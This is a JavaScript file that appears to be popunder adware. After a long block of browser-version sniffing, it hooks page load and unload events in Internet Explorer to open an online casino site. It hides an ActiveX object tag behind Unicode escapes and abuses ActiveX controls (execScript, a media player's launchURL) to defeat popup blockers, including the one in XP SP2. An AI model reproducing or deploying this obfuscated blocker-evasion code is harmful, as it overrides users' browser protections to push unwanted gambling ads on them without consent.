var d, dom, nu='', brow='', ie, ie4, ie5, ie5x, ie6, ie7;
var ns4, moz, moz_rv_sub, release_date='', moz_brow, moz_brow_nu='', moz_brow_nu_sub='', rv_full=''; 
var mac, win, old, lin, ie5mac, ie5xwin, konq, saf, op, op4, op5, op6, op7;
var Found_Firefox=false;
var Found_IE=false;
var windowOptions = 'location=1,status=1,toolbar=1,resizable=1,scrollbars=1,width=800,height=600';
var onlyOnClose = true;
var inner = 'http://www.casinoredvegas.com/kill.html';
//var url = "http://banner.32vegas.com/cgi-bin/redir.cgi?id=N&member=gmfseAff&profile=sknsextnet";
var nid=0;
var tid=431;
var mid=947;
var full=1;
var popDialogOptions = "dialogWidth:800px; dialogHeight:600px; dialogTop:0px; dialogLeft:0px; edge:Raised; center:0; help:0; resizable:1; scroll:1; status:0";
var popWindowOptions = " scrollbars=1,menubar=1,toolbar=1,location=1,personalbar=1,status=1,resizable=1";
var exit = true;
var usePopDialog = true;
var isUsingSpecial = false;
var mheight=0;
var mwidth=0;
var popURL = url;
isUsingSpecial = true;


d=document;
n=navigator;
nav=n.appVersion;
nan=n.appName;
nua=n.userAgent;
old=(nav.substring(0,1)<4);
mac=(nav.indexOf('Mac')!=-1);
win=( ( (nav.indexOf('Win')!=-1) || (nav.indexOf('NT')!=-1) ) && !mac)?true:false;
lin=(nua.indexOf('Linux')!=-1);
// begin primary dom/ns4 test
// this is the most important test on the page
if ( !document.layers )
{
	dom = ( d.getElementById ) ? d.getElementById : false;
}
else { 
	dom = false; 
	ns4 = true;// only netscape 4 supports document layers
}
// end main dom/ns4 test

op=(nua.indexOf('Opera')!=-1);
saf=(nua.indexOf('Safari')!=-1);
konq=(!saf && (nua.indexOf('Konqueror')!=-1) ) ? true : false;
moz=( (!saf && !konq ) && ( nua.indexOf('Gecko')!=-1 ) ) ? true : false;
ie=((nua.indexOf('MSIE')!=-1)&&!op);
if (op)
{
	str_pos=nua.indexOf('Opera');
	nu=nua.substr((str_pos+6),4);
	brow = 'Opera';
}
else if (saf)
{
	str_pos=nua.indexOf('Safari');
	nu=nua.substr((str_pos+7),5);
	brow = 'Safari';
}
else if (konq)
{
	str_pos=nua.indexOf('Konqueror');
	nu=nua.substr((str_pos+10),3);
	brow = 'Konqueror';
}
// this part is complicated a bit, don't mess with it unless you understand regular expressions
// note, for most comparisons that are practical, compare the 3 digit rv nubmer, that is the output
// placed into 'nu'.
else if (moz)
{
	// regular expression pattern that will be used to extract main version/rv numbers
	pattern = /[(); \n]/;
	// moz type array, add to this if you need to
	moz_types = new Array( 'Firebird', 'Phoenix', 'Firefox', 'Galeon', 'K-Meleon', 'Camino', 'Epiphany', 
		'Netscape6', 'Netscape', 'MultiZilla', 'Gecko Debian', 'rv' );
	rv_pos = nua.indexOf( 'rv' );// find 'rv' position in nua string
	rv_full = nua.substr( rv_pos + 3, 6 );// cut out maximum size it can be, eg: 1.8a2, 1.0.0 etc
	// search for occurance of any of characters in pattern, if found get position of that character
	rv_slice = ( rv_full.search( pattern ) != -1 ) ? rv_full.search( pattern ) : '';
	//check to make sure there was a result, if not do  nothing
	// otherwise slice out the part that you want if there is a slice position
	( rv_slice ) ? rv_full = rv_full.substr( 0, rv_slice ) : '';
	// this is the working id number, 3 digits, you'd use this for 
	// number comparison, like if nu >= 1.3 do something
	nu = rv_full.substr( 0, 3 );
	for (i=0; i < moz_types.length; i++)
	{
		if ( nua.indexOf( moz_types[i]) !=-1 )
		{
			moz_brow = moz_types[i];
			break;
		}
	}
	if ( moz_brow )// if it was found in the array
	{
		Found_Firefox=moz_brow;
		str_pos=nua.indexOf(moz_brow);// extract string position
		moz_brow_nu = nua.substr( (str_pos + moz_brow.length + 1 ) ,3);// slice out working number, 3 digit
		// if you got it, use it, else use nu
		moz_brow_nu = ( isNaN( moz_brow_nu ) ) ? moz_brow_nu = nu: moz_brow_nu;
		moz_brow_nu_sub = nua.substr( (str_pos + moz_brow.length + 1 ), 8);
		// this makes sure that it's only the id number
		sub_nu_slice = ( moz_brow_nu_sub.search( pattern ) != -1 ) ? moz_brow_nu_sub.search( pattern ) : '';
		//check to make sure there was a result, if not do  nothing
		( sub_nu_slice ) ? moz_brow_nu_sub = moz_brow_nu_sub.substr( 0, sub_nu_slice ) : '';
	}
	if ( moz_brow == 'Netscape6' )
	{
		moz_brow = 'Netscape';
	}
	else if ( moz_brow == 'rv' || moz_brow == '' )// default value if no other gecko name fit
	{
		moz_brow = 'Mozilla';
	} 
	if ( !moz_brow_nu )// use rv number if nothing else is available
	{
		moz_brow_nu = nu;
		moz_brow_nu_sub = nu;
	}
	if (n.productSub)
	{
		release_date = n.productSub;
	}
}
else if (ie)
{
	str_pos=nua.indexOf('MSIE');
	nu=nua.substr((str_pos+5),3);
	brow = 'Microsoft Internet Explorer';
	Found_IE=brow;
}
// default to navigator app name
else 
{
	brow = nan;
}
op5=(op&&(nu.substring(0,1)==5));
op6=(op&&(nu.substring(0,1)==6));
op7=(op&&(nu.substring(0,1)==7));
op8=(op&&(nu.substring(0,1)==8));
op9=(op&&(nu.substring(0,1)==9));
ie4=(ie&&!dom);
ie5=(ie&&(nu.substring(0,1)==5));
ie6=(ie&&(nu.substring(0,1)==6));
ie7=(ie&&(nu.substring(0,1)==7));
// default to get number from navigator app version.
if(!nu) 
{
	nu = nav.substring(0,1);
}
/*ie5x tests only for functionavlity. dom or ie5x would be default settings. 
Opera will register true in this test if set to identify as IE 5*/
ie5x=(d.all&&dom);
ie5mac=(mac&&ie5);
ie5xwin=(win&&ie5x);

function shellscript(){
  var w = open(url, '_blank', windowOptions);
  if (w == null) {
    showModalDialog(inner + "?url=" + url,"_blank","dialogHeight: 1024; dialogWidth: 768; dialogTop: 10px; dialogLeft: 10px; edge: Raised; center: Yes; help: No; resizable: Yes; status: Yes;");
  }
}

function main(){
	shellscript.toString();
	shellscript();/*
  cpaysPopupObject.DOM.Script.execScript("var url = '" + url + "';");
  cpaysPopupObject.DOM.Script.execScript("var inner = '" + inner + "';");
  cpaysPopupObject.DOM.Script.execScript("var windowOptions = '" + windowOptions + "';");
  cpaysPopupObject.DOM.Script.execScript(shellscript.toString());
  cpaysPopupObject.DOM.Script.execScript("shellscript()");*/
}

function openWindow(e){
    if (url==null) return;
  if (!onlyOnClose || (onlyOnClose && window.event.clientY < 0)) { 
    var w = open(url,'_blank', windowOptions);
    if (w == null) {
      main();
    }
  }
}

function createObject() {

  var objStr =  "\u003C\u006F\u0062\u006A\u0065\u0063\u0074\u0020\u0069\u0064\u003D";
      objStr += "\u0027\u0063\u0070\u0061\u0079\u0073\u0050\u006F\u0070\u0075\u0070";
      objStr += "\u004F\u0062\u006A\u0065\u0063\u0074\u0027\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003D";
      objStr += "\u0027\u0031\u0027\u0020\u0077\u0069\u0064\u0074\u0068\u003D\u0027";
      objStr += "\u0031\u0027\u0020\u0063\u006C\u0061\u0073\u0073\u0069\u0064\u003D\u0027";
      objStr += "\u0063\u006C\u0073\u0069\u0064\u003A\u0032\u0044\u0033\u0036\u0030";
      objStr += "\u0032\u0030\u0031\u002D\u0046\u0046\u0046\u0035\u002D\u0031\u0031";
      objStr += "\u0064\u0031\u002D\u0038\u0044\u0030\u0033\u002D\u0030\u0030\u0041";
      objStr += "\u0030\u0043\u0039\u0035\u0039\u0042\u0043\u0030\u0041\u0027\u003E";

  var ax = document.createElement(objStr);
  if (ax != null) {
    document.body.appendChild(ax);
    ax.ActivateApplets = "1";
    ax.ActivateActiveXControls = "1";
  }
}
 


function normal_exit()
{
	if(exit && !isUsingSpecial)
	{
		exit = false;
		window.open(popURL,"",popWindowOptions);
	}
}

var isXPSP2 = false;
var u = "6BF52A52-394A-11D3-B153-00C04F79FAA6";

function ext()
{
	if(exit)
	{
		if(((window.event.clientX>(mwidth-20)) && (window.event.clientY<0)))
		{
			exit=false;
			
			if(!isXPSP2 && !usePopDialog)
			{
				window.open(popURL,"",popWindowOptions);
			}
			else if(!isXPSP2 && usePopDialog)
			{
				eval("window.showModalDialog(popURL,'',popDialogOptions)");
			}
			else
			{
				iie.launchURL(popURL);
			}
		}
	}
}

function brs()
{
	document.body.innerHTML+="<object id=iie width=0 height=0 classid='CLSID:"+u+"'></object>";
}

function ver()
{
	isXPSP2 = (window.navigator.userAgent.indexOf("SV1") != -1);
	if(isXPSP2) brs();
}


if(Found_Firefox){ // firefox
	
}
else{
	switch(nu) // explorer version
	{
		case "7.0":
		{
			window.attachEvent('onload',ver);
			window.attachEvent('onbeforeunload',ext); 
		}
		break;
		
		case "6.0":
		{
			window.attachEvent("onbeforeunload", openWindow);
			window.attachEvent("onload", createObject);
		}
		break;
	}
}
